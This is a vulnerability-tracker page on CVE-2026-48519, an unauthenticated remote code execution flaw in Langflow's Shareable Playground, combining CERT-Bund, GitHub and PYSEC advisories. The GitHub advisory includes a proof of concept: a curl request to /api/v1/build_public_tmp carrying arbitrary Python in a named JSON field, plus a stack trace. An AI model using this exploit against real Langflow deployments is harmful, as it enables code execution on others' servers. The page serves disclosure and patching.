CVE-2026-48519
criticalPriorität · verfolgen · 10EPSS 0.008 · 56. PerzentilExploit · PoCDEEUUSEPSS · bewertet 2026-10-27
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.
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- WID-SEC-W-2026-1713Langflow: Mehrere SchwachstellenDeutsch2026-05-27csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Langflow ausnutzen, um beliebigen Programmcode auszuführen oder einen Denial of Service Zustand herbeizuführen.
- GHSA-v5ff-9q35-q26fLangflow: Unauthenticated RCE in Shareable Playgrounds2026-06-16ghsa · osvUS
### Summary The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload! The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example. ### PoC Reproduction: 1. Create a new flow and add a Chat Input node to it 2. Share the flow ("Shareable Playground") 3. Access the public link with the browser developers tools open and execute the flow. 4. Find the `/api/v1/build_public_tmp` route and copy as cURL 5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command. Example PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json): ```bash curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \ -H 'Content-Type: application/json' \ -b 'client_id=anything' \ --data-raw "$(cat test_with_python.json)" ``` Search for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code. The stacktrace for the code executed is: ``` ... File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events ids, vertices_to_run, graph = await build_graph_and_get_order() File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order graph = await create_graph(fresh_session, flow_id_str, flow_name) File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph return await build_graph_from_data( File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id")) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload graph.add_nodes_and_edges(vertices, edges) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges self.initialize() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize self._build_graph() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph self._instantiate_components_in_vertices() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices vertex.instantiate_component(self.user_id) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component self.custom_component, _ = initialize.loading.instantiate_class( File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class custom_component: CustomComponent | Component = class_object( File "<string>", line 59, in __init__ ``` ### Impact Unauthenticated RCE on any deployment with a shareable playground. Ori Lahav Security Researcher @ Rubrik Inc.
- PYSEC-2026-2432026-06-23vendor · osvUS
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.
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